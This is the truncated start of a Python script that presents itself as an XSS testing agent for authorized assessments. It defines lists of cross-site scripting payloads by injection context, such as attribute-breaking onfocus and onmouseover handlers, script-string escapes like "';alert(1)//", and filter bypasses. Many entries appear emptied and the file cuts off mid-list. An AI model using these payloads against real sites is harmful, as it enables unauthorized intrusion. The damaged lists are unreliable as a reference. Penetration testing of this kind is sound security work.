#!/usr/bin/env python3 """Agent for testing Cross-Site Scripting (XSS) vulnerabilities during authorized assessments.""" import requests import re import json import sys import argparse import urllib3 from datetime import datetime from urllib.parse import urljoin, quote urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) XSS_PAYLOADS = { "html_body": [ '', '

', '', ], "html_attribute": [ '" onfocus=alert(1) autofocus="', '" onmouseover=alert(1) "', '">', "' onfocus=alert(1) autofocus='", ], "javascript_context": [ "';alert(1)//", "\\';alert(1)//", "", ], "filter_bypass": [ '', '

', '